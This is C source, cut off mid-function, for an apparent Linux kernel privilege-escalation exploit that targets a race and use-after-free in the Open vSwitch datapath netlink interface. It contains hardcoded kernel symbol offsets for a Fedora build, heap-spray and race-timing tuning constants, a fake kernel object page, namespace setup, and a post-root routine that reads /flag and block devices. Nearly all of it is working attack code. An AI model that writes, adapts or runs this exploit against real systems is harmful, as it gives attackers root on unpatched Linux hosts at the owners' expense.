/* * Copyright 2026 Nebula Security * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * SPDX-License-Identifier: Apache-2.0 */ #define _GNU_SOURCE #include "known_page.h" #include "leak.h" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef NLA_ALIGNTO #define NLA_ALIGNTO 4 #endif #ifndef NLA_ALIGN #define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1)) #endif #ifndef NLA_HDRLEN #define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr))) #endif #ifndef NLA_DATA #define NLA_DATA(nla) ((void *)((char *)(nla) + NLA_HDRLEN)) #endif #ifndef NLA_NEXT #define NLA_NEXT(nla, attrlen) ((attrlen) -= NLA_ALIGN((nla)->nla_len), (struct nlattr *)(((char *)(nla)) + NLA_ALIGN((nla)->nla_len))) #endif #ifndef NLA_OK #define NLA_OK(nla, len) ((len) >= (int)sizeof(struct nlattr) && (nla)->nla_len >= sizeof(struct nlattr) && (nla)->nla_len <= (len)) #endif #define BUF_SZ 32768 #define DP_NAME "dp_n4r" #define BULK_TARGETS 1 #define BULK_LINK_GROUP 0x6931U #define BULK_GENEVE_PORT_BASE 20000U #define OVS_VPORT_HASH_BUCKETS 1024U #define WRITERS 1 #define READERS 32 #define ACTIVE_READERS 0 #define SENDERS 32 #define ACTIVE_SENDERS 1 #define SPRAYERS 1 #ifndef ROW41_SPRAY_QUEUES #define SPRAY_QUEUES 1024 #else #define SPRAY_QUEUES ROW41_SPRAY_QUEUES #endif #define MSG_FIRST_DATA 4048 #define MSG_SEG_DATA 3000 #define SPRAY_LEN (MSG_FIRST_DATA + MSG_SEG_DATA) #define TEST_FRAME_LEN 256 #define TUN_OPT_BYTES 252 #define EGRESS_METADATA_ACTIONS 512 #define TIMER_CLUSTER_FDS 1 #define TIMER_POLL_SLOTS 512 #define TIMER_NOISE_EPOLL_SETS 1536 #define TIMER_NOISE_EPOLL_MIN_SETS 128 #ifndef ROW41_TIMER_EPOLL_DUPLICATES #define TIMER_EPOLL_DUPLICATES 1536 #else #define TIMER_EPOLL_DUPLICATES ROW41_TIMER_EPOLL_DUPLICATES #endif #ifndef ROW41_TIMER_POLL_WAITERS #define TIMER_POLL_WAITERS 2 #else #define TIMER_POLL_WAITERS ROW41_TIMER_POLL_WAITERS #endif #ifndef ROW41_TIMER_CLUSTER_ARM_NS #define TIMER_CLUSTER_ARM_NS UINT64_C(38000) #else #define TIMER_CLUSTER_ARM_NS ROW41_TIMER_CLUSTER_ARM_NS #endif #ifndef ROW41_VPORT_GET_BURST #define ROW41_VPORT_GET_BURST 0 #endif #ifndef ROW41_VPORT_GET_BURST_COUNT #define VPORT_GET_BURST_COUNT 512U #else #define VPORT_GET_BURST_COUNT ROW41_VPORT_GET_BURST_COUNT #endif #ifndef ROW41_SCHED_PREEMPT #define ROW41_SCHED_PREEMPT 0 #endif #ifndef ROW41_SCHED_PREEMPT_SPINNERS #define SCHED_PREEMPT_SPINNERS 128U #else #define SCHED_PREEMPT_SPINNERS ROW41_SCHED_PREEMPT_SPINNERS #endif #ifndef ROW41_SCHED_PREEMPT_HOLD_NS #define SCHED_PREEMPT_HOLD_NS UINT64_C(1500000000) #else #define SCHED_PREEMPT_HOLD_NS ROW41_SCHED_PREEMPT_HOLD_NS #endif #define FLOW_SWEEP_PHASES 4 #define FLOW_CAL_BLOCKS 15 #define FLOW_CAL_DIRECTIONS 2 #define FLOW_CAL_WARMUP_BLOCKS 2 #define FLOW_CAL_SETTLE_US 5000 #define FLOW_CAL_METADATA_QUIET_US 500000 #define FLOW_CAL_MIN_POSITIVE_BLOCKS (FLOW_CAL_BLOCKS / 2 + 1) #define FLOW_LEAD_MIN_NS UINT64_C(5000) #define FLOW_LEAD_MAX_NS UINT64_C(200000) #define FLOW_ABSENT_PORT UINT32_C(65534) #define FIB_RULES 0 #define HOLD_US 100 #define SPRAY_HOLD_US 20000 #define RUN_SECS 100 #define DECOY_DP_NAME "dp_hold" #ifndef ROW41_DECOY_FLOWS #define DECOY_FLOWS 24000U #else #define DECOY_FLOWS ROW41_DECOY_FLOWS #endif /* The first flush only has to acquire ovs_mutex before the second request is * queued. Keep the second table independently sized: it is the handoff that * must remain in ovs_flow_cmd_del() until the post-unlist RTNL gate proves * that the vulnerable notifier work has been queued. */ #ifndef ROW41_DECOY_FLOWS2 #define DECOY_FLOWS2 DECOY_FLOWS #else #define DECOY_FLOWS2 ROW41_DECOY_FLOWS2 #endif #ifndef ROW41_DECOY_FLUSH2_LEAD_US #define DECOY_FLUSH2_LEAD_US 1000U #else #define DECOY_FLUSH2_LEAD_US ROW41_DECOY_FLUSH2_LEAD_US #endif #ifndef ROW41_WRITER_FLUSH_LEAD_US #define WRITER_FLUSH_LEAD_US 1000U #else #define WRITER_FLUSH_LEAD_US ROW41_WRITER_FLUSH_LEAD_US #endif #ifndef ROW41_DECOY_FLUSH_NICE #define DECOY_FLUSH_NICE (-1) #else #define DECOY_FLUSH_NICE ROW41_DECOY_FLUSH_NICE #endif #ifndef ROW41_DEFER_DECOY_FLUSH_LOG #define ROW41_DEFER_DECOY_FLUSH_LOG 0 #endif #ifndef ROW41_WRITER_NICE #define WRITER_NICE (-1) #else #define WRITER_NICE ROW41_WRITER_NICE #endif #ifndef ROW41_SPRAYER_NICE #define SPRAYER_NICE (-1) #else #define SPRAYER_NICE ROW41_SPRAYER_NICE #endif #ifndef ROW41_POST_UNLIST_DELAY_US #define POST_UNLIST_DELAY_US 1000U #else #define POST_UNLIST_DELAY_US ROW41_POST_UNLIST_DELAY_US #endif #ifndef ROW41_WRITER_CPU #define ROW41_WRITER_CPU 0U #endif #ifndef ROW41_STUB_DECOY_FLUSH #define ROW41_STUB_DECOY_FLUSH 0 #endif #ifndef ROW41_EARLY_SPRAY #define ROW41_EARLY_SPRAY 0 #endif #ifndef ROW41_EARLY_SPRAY_DELAY_NS #define ROW41_EARLY_SPRAY_DELAY_NS UINT64_C(4000000) #endif #ifndef ROW41_POSTSYNC_GATE_TIMER #define ROW41_POSTSYNC_GATE_TIMER 0 #endif #ifndef ROW41_DOUBLE_DECOY_FLUSH #define ROW41_DOUBLE_DECOY_FLUSH 0 #endif #ifndef ROW41_DECOY_FLUSH_CPU #define ROW41_DECOY_FLUSH_CPU 1U #endif #define DECOY_DP2_NAME "dp_hold2" #define WRITER_RELEASE_HOLD_NS UINT64_C(120000) #define POSTSYNC_GATE_MIN_BLOCK_NS UINT64_C(1000000) #define POSTSYNC_GATE_MAX_BLOCK_NS UINT64_C(2000000000) #define POSTSYNC_GATE_DEADLINE_NS UINT64_C(2000000000) #define TIMER_REARM_DEADLINE_NS UINT64_C(5000000000) #define TIMER_REARM_STABLE_NS UINT64_C(5000000) #define TIMER_REARM_SAMPLE_US 1000U #define KERNEL_BASE UINT64_C(0xffffffff81000000) #define FEDORA_IMAGE_EDGE_BIAS UINT64_C(0x200000) #define OFF_COMMIT_CREDS UINT64_C(0x425660) #define OFF_INIT_CRED UINT64_C(0x2a15840) #define OFF_INIT_NET UINT64_C(0x3b6d6c0) #define OFF_DEVCD_DEV_RELEASE UINT64_C(0x1127700) #define ANCHOR_OPS 0x1000UL #define ANCHOR_FAILING_DEVICE 0x2000UL #define DEVCD_DATA 0x2f8UL #define DEVCD_OWNER 0x330UL #define DEVCD_FREE 0x340UL #define DEVCD_FAILING_DEV 0x3a0UL #define DEVICE_KOBJ_SD 0x30UL #define DEVICE_KOBJ_KREF 0x38UL #define DEVICE_KOBJ_STATE 0x3cUL _Static_assert(DEVCD_FAILING_DEV + sizeof(uint64_t) <= MSG_SEG_DATA + sizeof(uint64_t), "devcd overlay exceeds controlled msg_msgseg bytes"); _Static_assert(ANCHOR_FAILING_DEVICE + DEVICE_KOBJ_STATE + sizeof(uint32_t) <= KNOWN_PAGE_BYTES, "fake failing device exceeds known page"); enum spray_phase { SPRAY_IDLE, SPRAY_DRAIN_REQUEST, SPRAY_DRAINED, SPRAY_FILL_REQUEST, SPRAY_EARLY_FILL_REQUEST, SPRAY_FILLED, }; struct nl_sock { int fd; uint32_t portid; uint32_t seq; }; struct shared { int fam_dp; int fam_vport; int fam_flow; int fam_packet; int dp_ifindex; int canary_ifindex; uint32_t target_ports[BULK_TARGETS]; char names[BULK_TARGETS][16]; int packet_qdisc_bypass; uint64_t packet_lead_ns[FLOW_SWEEP_PHASES]; uint64_t packet_prefix_estimate_ns[FLOW_SWEEP_PHASES]; volatile unsigned int bulk_generation; }; struct writer_arg { struct shared *sh; int idx; }; struct reader_arg { struct shared *sh; unsigned int seed; }; struct sender_arg { struct shared *sh; unsigned int id; }; struct gate_arg { struct shared *sh; }; struct poll_waiter_arg { int *fds; int fd_count; int exit_fd; int id; }; static volatile sig_atomic_t stop_flag; static volatile sig_atomic_t run_deadline_requested; static volatile sig_atomic_t fatal_error; static volatile int spray_phase = SPRAY_IDLE; static volatile unsigned long long packets_sent; static volatile unsigned long long packet_errors; static volatile unsigned long long consumer_windows; static volatile unsigned long long action_upcalls; static volatile unsigned long long reclaim_cycles; static volatile unsigned long long spray_allocs; static volatile unsigned long long stalled_reclaims; static volatile unsigned long long inflight_reclaims; static volatile unsigned long long straddled_packets; static volatile unsigned long long post_sync_broad_windows; static volatile unsigned long long postsync_gate_launches; static volatile unsigned long long postsync_gate_skips; static volatile unsigned long long flow_hits_verified; static volatile unsigned long long flow_hit_failures; static volatile uint64_t timer_first_ns; static volatile int timer_cluster_ready; static volatile unsigned int race_packet_generation; static volatile uint64_t race_target_ns; static volatile uint64_t race_lead_ns; static volatile uint64_t race_packet_target_ns; static volatile uint64_t race_packet_start_ns; static volatile uint64_t race_packet_end_ns; static volatile int poll_waiters_ready; static volatile int poll_waiters_resident; static volatile unsigned long long poll_wait_returns; static volatile unsigned long long poll_wait_errors; static volatile unsigned long long poll_wait_interrupts; static volatile unsigned int poll_waiter_policy_ok; static volatile unsigned int poll_waiter_policy_errors; static volatile unsigned int poll_waiter_nice_set_errors; static volatile unsigned int poll_waiter_proc_read_errors; static volatile unsigned int poll_waiter_proc_parse_errors; static volatile unsigned int poll_waiter_policy_mismatches; static volatile unsigned int poll_waiter_nice_mismatches; static volatile unsigned long poll_drain_generation; static volatile unsigned long long epoll_drained_events; static volatile unsigned long long timer_residency_checks; static volatile unsigned long long timer_residency_timeouts; static volatile unsigned long long timer_residency_wait_ns; static volatile unsigned long long phase_launches[FLOW_SWEEP_PHASES]; static volatile unsigned long long phase_skips[FLOW_SWEEP_PHASES]; static volatile unsigned long long phase_residency_skips[FLOW_SWEEP_PHASES]; static volatile unsigned long long phase_straddles[FLOW_SWEEP_PHASES]; static volatile unsigned long long phase_broad_windows[FLOW_SWEEP_PHASES]; static volatile unsigned long long phase_inflight[FLOW_SWEEP_PHASES]; static volatile unsigned long long phase_reclaims[FLOW_SWEEP_PHASES]; static volatile unsigned long long phase_stalled[FLOW_SWEEP_PHASES]; static volatile unsigned long long phase_flow_hits[FLOW_SWEEP_PHASES]; static volatile unsigned long long phase_flow_hit_failures[FLOW_SWEEP_PHASES]; static volatile unsigned long long phase_packet_errors[FLOW_SWEEP_PHASES]; static volatile uint64_t race_delete_lead_ns; static volatile uint64_t race_unregister_start_ns; static volatile uint64_t race_unregister_end_ns; static volatile uint64_t race_fill_done_ns; static volatile uint64_t race_gate_event_ns; static volatile uint64_t gate_request_start_ns; static volatile uint64_t gate_request_end_ns; static volatile uint64_t gate_unlist_observed_ns; static volatile unsigned int gate_arm_generation; static volatile unsigned int gate_done_generation; static volatile int gate_thread_ready; static volatile int gate_request_result; static volatile unsigned int writer_release_generation; static volatile uint64_t writer_release_event_ns; static volatile unsigned int sched_preempt_go; static volatile unsigned int sched_preempt_ready; static volatile uint64_t sched_preempt_deadline_ns; static volatile unsigned int group_cycle; static volatile int decoy_flush_go; static volatile int decoy_flush_started; static volatile int decoy_flush_done; static volatile int decoy_flush2_started; static volatile int decoy_flush2_done; static volatile int decoy_handoff_proven; static volatile unsigned int postunreg_timer_done; static volatile uint64_t postunreg_irq_target_ns; static volatile int senders_go; static volatile int senders_stop; static volatile uint64_t decoy_flush_start_ns; static volatile uint64_t decoy_flush_end_ns; static volatile uint64_t decoy_flush2_start_ns; static volatile uint64_t decoy_flush2_end_ns; static int decoy_dp_ifindex; static int decoy_dp2_ifindex; static int timer_cluster_fds[TIMER_CLUSTER_FDS]; static int packet_family_id; static uint64_t kernel_slide; static uint64_t known_page; /* Keep V73's independent 0/32/64/96 calibration controls intact. */ static const unsigned int flow_cal_prefix_actions[FLOW_SWEEP_PHASES] = { 0, 32, 64, 96, }; /* Keep V74's p0 margin sweep unchanged. V74 fresh-01 had only four broad * samples, exactly matching its four in-flight samples; that is too little * evidence to attribute the bimodal hardirq coverage to any 500-ns margin. * V75 isolates waiter rearm and shutdown behavior instead. */ static const unsigned int flow_prefix_actions[FLOW_SWEEP_PHASES] = { 0, 0, 0, 0, }; static const uint64_t flow_phase_margin_ns[FLOW_SWEEP_PHASES] = { UINT64_C(22000), UINT64_C(24000), UINT64_C(26000), UINT64_C(28000), }; static const char *const flow_phase_names[FLOW_SWEEP_PHASES] = { "p0-m22us", "p0-m24us", "p0-m26us", "p0-m28us", }; static unsigned int phase_for_generation(unsigned int generation) { return generation ? (generation - 1U) % FLOW_SWEEP_PHASES : 0; } static void on_sig(int sig) { (void)sig; stop_flag = 1; } static void die(const char *what) { perror(what); exit(EXIT_FAILURE); } static void write_all(int fd, const void *buffer, size_t length) { const unsigned char *cursor = buffer; while (length) { ssize_t done = write(fd, cursor, length); if (done < 0) { if (errno == EINTR) continue; die("write"); } cursor += done; length -= (size_t)done; } } static void try_post_root(void) { static const char *paths[] = { "/flag", "/dev/vdb", "/dev/vdc" }; char buffer[4096]; if (geteuid() != 0) return; for (size_t i = 0; i < sizeof(paths) / sizeof(paths[0]); i++) { int fd = open(paths[i], O_RDONLY | O_CLOEXEC); if (fd < 0) continue; ssize_t got = read(fd, buffer, sizeof(buffer)); close(fd); if (got > 0) { printf("[+] returned to user mode uid=%u euid=%u\n", getuid(), geteuid()); printf("[+] PROOF unregister_start=%llu consumer_start=%llu unregister_end=%llu fill_done=%llu consumer_end=%llu\n", (unsigned long long)__atomic_load_n( &race_unregister_start_ns, __ATOMIC_RELAXED), (unsigned long long)__atomic_load_n( &race_packet_start_ns, __ATOMIC_RELAXED), (unsigned long long)__atomic_load_n( &race_unregister_end_ns, __ATOMIC_RELAXED), (unsigned long long)__atomic_load_n( &race_fill_done_ns, __ATOMIC_RELAXED), (unsigned long long)__atomic_load_n( &race_packet_end_ns, __ATOMIC_RELAXED)); write_all(STDOUT_FILENO, buffer, (size_t)got); for (;;) pause(); } } } static void put64(unsigned char *page, size_t offset, uint64_t value) { if (offset + sizeof(value) > KNOWN_PAGE_BYTES) { errno = EOVERFLOW; die("known-page qword"); } memcpy(page + offset, &value, sizeof(value)); } static void put32(unsigned char *page, size_t offset, uint32_t value) { if (offset + sizeof(value) > KNOWN_PAGE_BYTES) { errno = EOVERFLOW; die("known-page dword"); } memcpy(page + offset, &value, sizeof(value)); } static void build_known_page(unsigned char *page, uint64_t page_address, void *argument) { uint64_t slide = *(uint64_t *)argument; uint64_t release = KERNEL_BASE + slide + OFF_DEVCD_DEV_RELEASE; memset(page, 0, KNOWN_PAGE_BYTES); put64(page, ANCHOR_OPS + 0xa0, release); put64(page, ANCHOR_OPS + 0x280, release); /* devcd_dev_release() calls put_device() on this page-local fake device. * A kref of two makes that ordinary put stop at one without invoking a * release callback. kobj.sd is NULL, so the sysfs unlink is skipped. */ put64(page, ANCHOR_FAILING_DEVICE + DEVICE_KOBJ_SD, 0); put32(page, ANCHOR_FAILING_DEVICE + DEVICE_KOBJ_KREF, 2); put32(page, ANCHOR_FAILING_DEVICE + DEVICE_KOBJ_STATE, 1); printf("[+] fake ops=%#llx ibt_release=%#llx failing_dev=%#llx\n", (unsigned long long)(page_address + ANCHOR_OPS), (unsigned long long)release, (unsigned long long)(page_address + ANCHOR_FAILING_DEVICE)); } static void write_text(const char *path, const char *value) { int fd = open(path, O_WRONLY | O_CLOEXEC); size_t len = strlen(value); if (fd < 0) die(path); while (len) { ssize_t n = write(fd, value, len); if (n < 0) { if (errno == EINTR) continue; die("write namespace map"); } value += n; len -= (size_t)n; } close(fd); } static void enter_user_net_namespace(void) { char map[64]; uid_t uid; gid_t gid; if (geteuid() == 0) { if (setgroups(0, NULL) < 0 || setresgid(65534, 65534, 65534) < 0 || setresuid(65534, 65534, 65534) < 0) die("drop to nobody"); if (prctl(PR_SET_DUMPABLE, 1, 0, 0, 0) < 0) die("prctl(PR_SET_DUMPABLE)"); } uid = getuid(); gid = getgid(); if (unshare(CLONE_NEWUSER) < 0) die("unshare(CLONE_NEWUSER)"); write_text("/proc/self/setgroups", "deny"); snprintf(map, sizeof(map), "0 %u 1\n", uid); write_text("/proc/self/uid_map", map); snprintf(map, sizeof(map), "0 %u 1\n", gid); write_text("/proc/self/gid_map", map); if (setresgid(0, 0, 0) < 0 || setresuid(0, 0, 0) < 0) die("namespace credentials"); if (unshare(CLONE_NEWNET) < 0) die("unshare(CLONE_NEWNET)"); } static void pin_cpu(unsigned int cpu) { cpu_set_t set; CPU_ZERO(&set); CPU_SET(cpu, &set); if (sched_setaffinity(0, sizeof(set), &set) < 0) die("sched_setaffinity"); } static uint64_t monotonic_ns(void) { struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts); return (uint64_t)ts.tv_sec * UINT64_C(1000000000) + (uint64_t)ts.tv_nsec; } static int futex_wait_u32(volatile unsigned int *address, unsigned int expected) { return (int)syscall(SYS_futex, (unsigned int *)address, FUTEX_WAIT_PRIVATE, expected, NULL, NULL, 0); } static int futex_wait_u32_timed(volatile unsigned int *address, unsigned int expected) { const struct timespec timeout = { .tv_sec = 0, .tv_nsec = 1000000, }; return (int)syscall(SYS_futex, (unsigned int *)address, FUTEX_WAIT_PRIVATE, expected, &timeout, NULL, 0); } static void futex_wake_one_u32(volatile unsigned int *address) { (void)syscall(SYS_futex, (unsigned int *)address, FUTEX_WAKE_PRIVATE, 1, NULL, NULL, 0); } static void futex_wake_all_u32(volatile unsigned int *address) { (void)syscall(SYS_futex, (unsigned int *)address, FUTEX_WAKE_PRIVATE, INT_MAX, NULL, NULL, 0); } static unsigned long long wait_for_timer_cluster(void) { uint64_t target; while (!stop_flag && !__atomic_load_n(&timer_cluster_ready, __ATOMIC_ACQUIRE)) sched_yield(); if (stop_flag) return __atomic_load_n(&packets_sent, __ATOMIC_RELAXED); /* * V71/V72/V73/V74 does not predict a periodic interrupt from the beginning of the * unregister syscall. It records the delete start here, then arms a * fresh one-shot cluster only after the RTNL handoff proves that the * final synchronize_net() has completed. This prevents the interrupt * from trapping a pre-synchronize reader, which invalidated v33--v42. */ target = monotonic_ns(); /* V71/V72/V73/V74 arms a second RTNL request immediately before group deletion. A * CPU-1 gate thread queues that request while the writer sleeps in the * first synchronize_net(), before the OVS notify worker can queue for * RTNL. Its completion is published only after the group path completed * the final synchronize_net() and released RTNL. */ __atomic_store_n(&race_lead_ns, 0, __ATOMIC_RELAXED); __atomic_store_n(&race_delete_lead_ns, 0, __ATOMIC_RELAXED); __atomic_store_n(&race_gate_event_ns, 0, __ATOMIC_RELAXED); __atomic_store_n(&race_target_ns, target, __ATOMIC_RELEASE); return __atomic_load_n(&packets_sent, __ATOMIC_RELAXED); } static int nl_open_proto(struct nl_sock *s, int proto) { struct sockaddr_nl addr = {0}; socklen_t alen; memset(s, 0, sizeof(*s)); s->fd = socket(AF_NETLINK, SOCK_RAW, proto); if (s->fd < 0) return -errno; addr.nl_family = AF_NETLINK; if (bind(s->fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) { int e = -errno; close(s->fd); return e; } alen = sizeof(addr); if (getsockname(s->fd, (struct sockaddr *)&addr, &alen) < 0) { int e = -errno; close(s->fd); return e; } s->portid = addr.nl_pid; s->seq = (uint32_t)time(NULL) ^ addr.nl_pid; return 0; } static void nl_close(struct nl_sock *s) { if (s->fd >= 0) { close(s->fd); s->fd = -1; } } static int nla_put(struct nlmsghdr *nlh, size_t maxlen, uint16_t type, const void *data, uint16_t len) { size_t off = NLMSG_ALIGN(nlh->nlmsg_len); size_t need = NLA_HDRLEN + len; size_t newlen = off + NLA_ALIGN(need); struct nlattr *nla; if (newlen > maxlen) return -1; nla = (struct nlattr *)((char *)nlh + off); nla->nla_type = type; nla->nla_len = (uint16_t)(NLA_HDRLEN + len); if (len && data) memcpy((char *)nla + NLA_HDRLEN, data, len); if (NLA_ALIGN(need) > need) memset((char *)nla + need, 0, NLA_ALIGN(need) - need); nlh->nlmsg_len = (uint32_t)newlen; return 0; } static int nla_put_u32(struct nlmsghdr *nlh, size_t maxlen, uint16_t type, uint32_t val) { return nla_put(nlh, maxlen, type, &val, sizeof(val)); } static int nla_put_strz(struct nlmsghdr *nlh, size_t maxlen, uint16_t type, const char *str) { return nla_put(nlh, maxlen, type, str, (uint16_t)(strlen(str) + 1)); } static int nla_put_u16(struct nlmsghdr *nlh, size_t maxlen, uint16_t type, uint16_t val) { return nla_put(nlh, maxlen, type, &val, sizeof(val)); } static struct nlattr *nla_nest_start(struct nlmsghdr *nlh, size_t maxlen, uint16_t type) { size_t offset = NLMSG_ALIGN(nlh->nlmsg_len); if (nla_put(nlh, maxlen, type | NLA_F_NESTED, NULL, 0) < 0) return NULL; return (struct nlattr *)((char *)nlh + offset); } static void nla_nest_end(struct nlmsghdr *nlh, struct nlattr *nest) { nest->nla_len = (uint16_t)((char *)nlh + nlh->nlmsg_len - (char *)nest); } static void count_egress_upcall(const struct nlmsghdr *nlh) { const struct genlmsghdr *g; const struct nlattr *a; int rem; if (!packet_family_id || nlh->nlmsg_type != packet_family_id || nlh->nlmsg_len < NLMSG_HDRLEN + GENL_HDRLEN + sizeof(struct ovs_header)) return; g = (const struct genlmsghdr *)NLMSG_DATA(nlh); if (g->cmd != OVS_PACKET_CMD_ACTION) return; __sync_fetch_and_add(&action_upcalls, 1); rem = (int)nlh->nlmsg_len - NLMSG_HDRLEN - GENL_HDRLEN - (int)sizeof(struct ovs_header); a = (const struct nlattr *)((const char *)g + GENL_HDRLEN + sizeof(struct ovs_header)); for (; NLA_OK(a, rem); a = NLA_NEXT(a, rem)) { if ((a->nla_type & NLA_TYPE_MASK) == OVS_PACKET_ATTR_EGRESS_TUN_KEY) { __sync_fetch_and_add(&consumer_windows, 1); return; } } } static int nl_talk(struct nl_sock *s, struct nlmsghdr *req, int want_ack, void *reply_buf, size_t *reply_len) { struct sockaddr_nl nladdr = {0}; struct iovec iov = { .iov_base = req, .iov_len = req->nlmsg_len }; struct msghdr msg = { .msg_name = &nladdr, .msg_namelen = sizeof(nladdr), .msg_iov = &iov, .msg_iovlen = 1, }; nladdr.nl_family = AF_NETLINK; if (sendmsg(s->fd, &msg, 0) < 0) return -errno; for (;;) { char buf[BUF_SZ]; ssize_t n = recv(s->fd, buf, sizeof(buf), 0); int got_data = 0; int got_ack = !want_ack; struct nlmsghdr *nlh; if (n < 0) { if (errno == EINTR) continue; return -errno; } if (n == 0) return -EIO; for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, (unsigned int)n); nlh = NLMSG_NEXT(nlh, n)) { count_egress_upcall(nlh); if (nlh->nlmsg_seq != req->nlmsg_seq) continue; if (nlh->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *e = (struct nlmsgerr *)NLMSG_DATA(nlh); if (e->error) return e->error; got_ack = 1; if (got_data || got_ack) return 0; continue; } if (nlh->nlmsg_type == NLMSG_DONE) { got_ack = 1; if (got_data || got_ack) return 0; continue; } if (!got_data && reply_buf && reply_len && *reply_len >= nlh->nlmsg_len) { memcpy(reply_buf, nlh, nlh->nlmsg_len); *reply_len = nlh->nlmsg_len; } got_data = 1; if (!(nlh->nlmsg_flags & NLM_F_MULTI)) { if (got_ack || !want_ack) return 0; } } if (got_data && (!want_ack || got_ack)) return 0; } } static int nl_send_only(struct nl_sock *s, struct nlmsghdr *req) { struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK }; struct iovec iov = { .iov_base = req, .iov_len = req->nlmsg_len }; struct msghdr msg = { .msg_name = &nladdr, .msg_namelen = sizeof(nladdr), .msg_iov = &iov, .msg_iovlen = 1, }; if (sendmsg(s->fd, &msg, 0) < 0) return -errno; return 0; } static int resolve_family(struct nl_sock *s, const char *name) { char req[BUF_SZ] = {0}; char rep[BUF_SZ]; struct nlmsghdr *nlh = (struct nlmsghdr *)req; struct genlmsghdr *g; struct nlmsghdr *rnlh; struct genlmsghdr *rg; struct nlattr *a; int rem; size_t replen = sizeof(rep); int r; nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN); nlh->nlmsg_type = GENL_ID_CTRL; nlh->nlmsg_flags = NLM_F_REQUEST; nlh->nlmsg_seq = ++s->seq; g = (struct genlmsghdr *)NLMSG_DATA(nlh); g->cmd = CTRL_CMD_GETFAMILY; g->version = 1; if (nla_put_strz(nlh, sizeof(req), CTRL_ATTR_FAMILY_NAME, name) < 0) return -EMSGSIZE; r = nl_talk(s, nlh, 0, rep, &replen); if (r) return r; rnlh = (struct nlmsghdr *)rep; rg = (struct genlmsghdr *)NLMSG_DATA(rnlh); rem = (int)rnlh->nlmsg_len - NLMSG_HDRLEN - GENL_HDRLEN; a = (struct nlattr *)((char *)rg + GENL_HDRLEN); for (; NLA_OK(a, rem); a = NLA_NEXT(a, rem)) { if (a->nla_type == CTRL_ATTR_FAMILY_ID && a->nla_len >= NLA_HDRLEN + (int)sizeof(uint16_t)) { uint16_t id; memcpy(&id, NLA_DATA(a), sizeof(id)); return (int)id; } } return -ENOENT; } static struct nlmsghdr *ovs_msg_init(char *buf, size_t buflen, struct nl_sock *s, uint16_t family, uint16_t flags, uint8_t cmd, uint8_t version, int dp_ifindex) { struct nlmsghdr *nlh; struct genlmsghdr *g; struct ovs_header *h; memset(buf, 0, buflen); nlh = (struct nlmsghdr *)buf; nlh->nlmsg_len = NLMSG_HDRLEN + GENL_HDRLEN + sizeof(struct ovs_header); nlh->nlmsg_type = family; nlh->nlmsg_flags = flags; nlh->nlmsg_seq = ++s->seq; g = (struct genlmsghdr *)NLMSG_DATA(nlh); g->cmd = cmd; g->version = version; h = (struct ovs_header *)((char *)g + GENL_HDRLEN); h->dp_ifindex = dp_ifindex; return nlh; } static int dp_new_named(struct nl_sock *s, int fam_dp, const char *name) { char req[BUF_SZ]; struct nlmsghdr *nlh = ovs_msg_init(req, sizeof(req), s, (uint16_t)fam_dp, NLM_F_REQUEST | NLM_F_ECHO, OVS_DP_CMD_NEW, OVS_DATAPATH_VERSION, 0); if (nla_put_strz(nlh, sizeof(req), OVS_DP_ATTR_NAME, name) < 0 || nla_put_u32(nlh, sizeof(req), OVS_DP_ATTR_UPCALL_PID, s->portid) < 0 || nla_put_u32(nlh, sizeof(req), OVS_DP_ATTR_USER_FEATURES, 0) < 0) return -EMSGSIZE; return nl_talk(s, nlh, 0, NULL, NULL); } static int dp_del(struct nl_sock *s, int fam_dp) { char req[BUF_SZ]; struct nlmsghdr *nlh = ovs_msg_init(req, sizeof(req), s, (uint16_t)fam_dp, NLM_F_REQUEST | NLM_F_ECHO, OVS_DP_CMD_DEL, OVS_DATAPATH_VERSION, 0); if (nla_put_strz(nlh, sizeof(req), OVS_DP_ATTR_NAME, DP_NAME) < 0) return -EMSGSIZE; return nl_talk(s, nlh, 0, NULL, NULL); } static int dp_get_ifindex_named(struct nl_sock *s, int fam_dp, const char *name) { char req[BUF_SZ]; char rep[BUF_SZ]; struct nlmsghdr *nlh = ovs_msg_init(req, sizeof(req), s, (uint16_t)fam_dp, NLM_F_REQUEST, OVS_DP_CMD_GET, OVS_DATAPATH_VERSION, 0); struct nlmsghdr *rnlh; struct genlmsghdr *rg; struct ovs_header *h; size_t replen = sizeof(rep); int r; if (nla_put_strz(nlh, sizeof(req), OVS_DP_ATTR_NAME, name) < 0) return -EMSGSIZE; r = nl_talk(s, nlh, 0, rep, &replen); if (r) return r; rnlh = (struct nlmsghdr *)rep; rg = (struct genlmsghdr *)NLMSG_DATA(rnlh); h = (struct ovs_header *)((char *)rg + GENL_HDRLEN); return h->dp_ifindex; } static int dp_get_stats(struct nl_sock *s, int fam_dp, int dp_ifindex, struct ovs_dp_stats *stats) { char req[BUF_SZ]; char rep[BUF_SZ]; struct nlmsghdr *nlh = ovs_msg_init(req, sizeof(req), s, (uint16_t)fam_dp, NLM_F_REQUEST, OVS_DP_CMD_GET, OVS_DATAPATH_VERSION, dp_ifindex); struct nlmsghdr *rnlh; struct genlmsghdr *rg; struct nlattr *a; size_t replen = sizeof(rep); int rem; int r; r = nl_talk(s, nlh, 0, rep, &replen); if (r) return r; rnlh = (struct nlmsghdr *)rep; rg = (struct genlmsghdr *)NLMSG_DATA(rnlh); rem = (int)rnlh->nlmsg_len - NLMSG_HDRLEN - GENL_HDRLEN - (int)sizeof(struct ovs_header); a = (struct nlattr *)((char *)rg + GENL_HDRLEN + sizeof(struct ovs_header)); for (; NLA_OK(a, rem); a = NLA_NEXT(a, rem)) { if ((a->nla_type & NLA_TYPE_MASK) == OVS_DP_ATTR_STATS && a->nla_len >= NLA_HDRLEN + (int)sizeof(*stats)) { 